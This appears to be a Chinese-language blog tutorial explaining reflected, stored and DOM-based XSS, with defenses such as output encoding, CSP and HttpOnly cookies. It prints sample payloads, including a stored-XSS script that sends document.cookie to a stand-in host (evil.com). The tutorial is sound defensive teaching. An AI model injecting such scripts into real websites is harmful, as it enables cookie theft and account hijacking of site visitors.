XSS跨站脚本攻击:存储型、反射型与DOM型

作者:Yolo 发布时间: 2026-05-21 阅读量:7

XSS跨站脚本攻击:存储型、反射型与DOM型

上一篇讲了 SQL 注入,今天聊 Web 安全的另一个经典漏洞——XSS(Cross-Site Scripting,跨站脚本攻击)。虽然名字里有 SQL,但 XSS 跟数据库没直接关系,它的核心是利用网站对用户输入的盲目信任,把恶意脚本注入到页面里执行。

XSS 的本质

XSS 的攻击逻辑很简单:

网站把用户输入的内容直接回显到页面上,如果输入里包含 <script> 之类的脚本标签,浏览器就会执行。

正常用户输入的是文字,黑客输入的是代码。网站没做过滤,代码就跟着页面一起渲染了。

根据攻击方式和数据存储位置的不同,XSS 分为三种类型:反射型、存储型、DOM 型


一、反射型 XSS

原理

反射型 XSS 是最直接的一种。恶意脚本不存储在服务器上,而是通过 URL 参数、表单提交等方式"反射"回页面。

典型的攻击场景:

https://example.com/search?q=<script>alert('xss')</script>

服务器接收到 q 参数,把它原样输出到搜索结果页:

<p>搜索结果:<script>alert('xss')</script></p>

浏览器解析到这个 <script>,弹出 alert。如果是 alert(document.cookie),就能把用户的 Cookie 偷走。

特点

  • 非持久化:脚本不保存到数据库,只存在于单次请求的响应中
  • 需要诱导点击:攻击者需要把构造好的 URL 发给受害者(钓鱼邮件、短链接、论坛发帖)
  • 危害相对可控:一次性的,不会影响其他用户

实际危害

反射型 XSS 常被用来:

  • 窃取当前页面的 Cookie
  • 构造钓鱼页面,诱导输入账号密码
  • 执行页面跳转,把用户引导到恶意网站

二、存储型 XSS

原理

存储型 XSS 比反射型更危险,因为恶意脚本被永久存储在服务器端

常见的入口:

  • 评论框
  • 用户昵称、个人简介
  • 文章/帖子内容
  • 留言板

黑客在评论区提交:

<script>fetch('https://evil.com/steal?c='+document.cookie)</script>

这段脚本被存入数据库。之后每个浏览这条评论的用户,浏览器都会执行这段代码,Cookie 被悄悄发送到黑客的服务器。

特点

  • 持久化:脚本存储在数据库/文件中,长期有效
  • 影响范围广:所有访问该页面的用户都会中招
  • 无需诱导:用户正常浏览就会触发
  • 危害最大:蠕虫式传播,批量窃取数据

典型案例

2005 年 MySpace 的 Samy 蠕虫就是存储型 XSS。黑客 Samy 在个人资料里植入脚本,每个看了他主页的人,自动把这段脚本复制到自己主页,一小时内感染了 100 万用户。


三、DOM 型 XSS

原理

DOM 型 XSS 的特殊之处在于:服务器返回的 HTTP 响应本身是干净的,问题出在浏览器端的 JavaScript 代码。

比如前端代码这样写:

// 从 URL  hash 读取内容并显示
const hash = location.hash.slice(1);
document.write('欢迎你,' + hash);

攻击者构造 URL:

https://example.com/page#<img src=x onerror=alert(1)>

document.write 把恶意 HTML 写进页面,onerror 事件触发脚本执行。

特点

  • 不经过服务器:数据源可能是 URL hash、localStorage、postMessage 等
  • 纯前端漏洞:后端防御无效,必须修复前端代码
  • 隐蔽性强:传统 WAF 和后端过滤检测不到

防御措施

1. 输入过滤

永远不要相信用户输入。对特殊字符进行转义或过滤:

< → &lt;
> → &gt;
" → &quot;
' → &#x27;
& → &amp;

2. 输出编码

根据输出位置选择正确的编码方式:

输出位置编码方式示例
HTML 标签内HTML Entity 编码&lt;script&gt;
HTML 属性属性编码 + 引号包裹href="..."
JavaScriptJS 字符串转义\x3cscript\x3e
URLURL 编码%3Cscript%3E
CSSCSS 编码\3c script \3e

3. CSP(内容安全策略)

通过 HTTP 头限制页面能执行的脚本来源:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com

配置了 CSP 后,内联脚本(<script>alert(1)</script>)默认会被浏览器阻止。

4. HttpOnly Cookie

设置 Cookie 时加 HttpOnly 标志:

Set-Cookie: session_id=xxx; HttpOnly; Secure

这样 document.cookie 读不到这个 Cookie,即使 XSS 执行了也偷不走。

5. 前端框架自动防御

现代框架(React、Vue、Angular)默认会对插值表达式做 HTML 转义:

// React 会自动转义,输出的是纯文本
<div>{userInput}</div>

但要注意: dangerouslySetInnerHTML、innerHTML、document.write 这些方法会绕过保护。


三种 XSS 对比

特性反射型存储型DOM 型
存储位置URL/表单参数服务器数据库前端 JS 变量
持久性一次请求长期有效一次页面访问
传播方式钓鱼诱导正常浏览钓鱼/正常浏览
检测难度中等容易困难
防御重点输出编码输入过滤+输出编码前端代码审计
危害程度⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐

总结

XSS 的本质是信任危机——网站信任了用户输入,浏览器信任了页面内容。

防御的核心就两点:

  1. 不信任任何输入,该过滤的过滤,该转义的转义
  2. 不信任任何输出,根据上下文选择正确的编码方式

再配合 CSP、HttpOnly Cookie 等策略,可以把 XSS 的风险降到很低。

下一篇预告:CSRF 跨站请求伪造——身份冒用的艺术。